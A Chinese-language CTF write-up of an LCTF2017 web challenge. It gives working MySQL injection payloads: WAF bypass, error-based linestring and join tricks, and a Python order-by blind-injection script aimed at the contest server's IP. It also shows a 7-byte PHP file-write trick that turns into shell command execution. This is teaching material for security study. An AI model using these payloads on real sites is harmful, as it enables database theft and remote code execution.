LCTF2017真有趣,让我长了不少见识,由于时间匆忙,我也就只做了一个web题,还是折腾了不久,我觉得这题考点还是蛮集中的,故此分享下。
进去后显示:

  1. entrance.php

  2. There is no need to scan and brute force!

  3. Hacking for fun!

进入entrance.php,查看源码看到

<form method ="POST" action="entrance.php">  
    <p>Do you want to know their secrets?</p>
    <p>id:<input id="pro_id" name="pro_id" type="text" /></p>
    <p><input type="submit" value="Submit" /></p>
</form> 
<!-- Tip:将表的某一个字段名,和表中某一个表值进行字符串连接,就可以得到下一个入口喽~ -->

这里参数是pro_id,并且提示了下一关是由字段名+表值来组合,尝试union注入,pro_id=0 union select 1,2,3,4  4列,并且显示的位置在第2列


0x01 发现waf

当尝试 pro_id=0 union select 1,'database',3,4 的时候发现被waf,通过测试发现database、tables、columns、information都被ban了,不能从information_schema库里得到表名和列名


0x02 得到库名

pro_id=0 union select 1,2,3,4 from flag
得到Table 'youcanneverfindme17.flag' doesn't exist
这除了得到库名外,还发现可以报错注入


0x03 报错注入得到表名

网上一搜就大把mysql的报错函数,试了前面那些都不行,polygon、multipoint、multilinestring、multipolygon都被ban了,但是linestring没被ban,于是轻松利用
pro_id=0 and linestring(pro_id)
得到Illegal non geometric '`youcanneverfindme17`.`product_2017ctf`.`pro_id`' value found during parsing
得到表名为product_2017ctf


0x04 报错注入得到列名

在知道库名、表名后,可以利用报错注入得到列名
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id))c)
得到下一列pro_name,继续报错
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)
得到owner
继续下去,会得到列名d067a0fa9dc61a6e,然而这个列名也是被waf给ban了


0x05 order by盲注

参考文章链接 http://wonderkun.cc/index.html/?p=547
(虽然这个思路当时就是我给他讲的),下面贴出我的盲注代码

# -*- coding:utf8 -*-
__author__='[email protected]'

import requests
import time
import string

def foo():
    url=r'http://182.254.246.93/entrance.php'
    mys=requests.session()
    x="3 union distinct select 1,2,3,0x%s  order by 4 desc"
    cset=string.maketrans('','')[33:127]
    pwd=''
    while True:
        try:
            for i in cset:
                myd={'pro_id':x %(pwd+i).encode('hex')}
                res=mys.post(url,data=myd).content
                if 'nextentrance' not in res:
                    pwd+=chr(ord(i)-1)
                    print pwd
                    break
                pass
            time.sleep(0.01)
        except:
            print '_ _'
            time.sleep(0.5)
        pass

    pass

if __name__ == '__main__':
    foo()
    print 'ok'

盲注得到7195CA99696B5A896.PHP
所以下一关就是d067a0fa9dc61a6e7195ca99696b5a896.php


0x06 只允许写入7个字节

640.png

这题是可以自己写文件名和内容,然后创建文件,并且可以访问到文件
一开始查看源码发现content处maxlength = "7",本来以为只是前端的限制,结果我通过各种写入文件后发现文件内容最多只能写进去7个字节。
尝试很多未果,最后我搜索到32c3 ctf上的一个web题也是这样限制写入7个字节,这里提供一篇writeup:

https://github.com/p4-team/ctf/tree/master/2015-12-27-32c3/tiny_hosting_web_250#eng-version

这题代码类似于:

<?php
    $savepath="files/".sha1($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT'])."/";
    if(!is_dir($savepath)){
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
        touch($savepath."/index.html");
    }
    if((@$_POST['filename']) && (@$_POST['content']) ){
        $fp = fopen("$savepath".$_POST['filename'], 'w');
        fwrite($fp, substr($_POST['content'],0,7) );
        fclose($fp);
        $msg = 'File saved to <a>'.$savepath.htmlspecialchars($_POST['filename'])."</a>";
    }
?>

按顺序POST提交下面3条
filename=p.php&content=<?=`*`;
filename=bash&content=xxx
filename=bash2&content=ls /

再访问p.php,就可以看到
327a6c4304ad5938eaf0efb6cc3e53dc.php
再POST
filename=bash2&content=cat /3*
再去访问p.php,右键查看源代码看到flag https://www.secpulse.com/archives/65812.html

详细的过程:
p.php的<?=`*`; 其中的*会展开成当前文件夹下的文件,并按字母顺序排列
大致上等价于
<?php echo `bash bash2 index.html p.php` ?>
访问p.php的时候,bash就会执行bash2这个文件里的命令,后面的文件无视掉
通过修改bash2这个文件的内容就可以构造命令执行。


源链接

Hacking more

...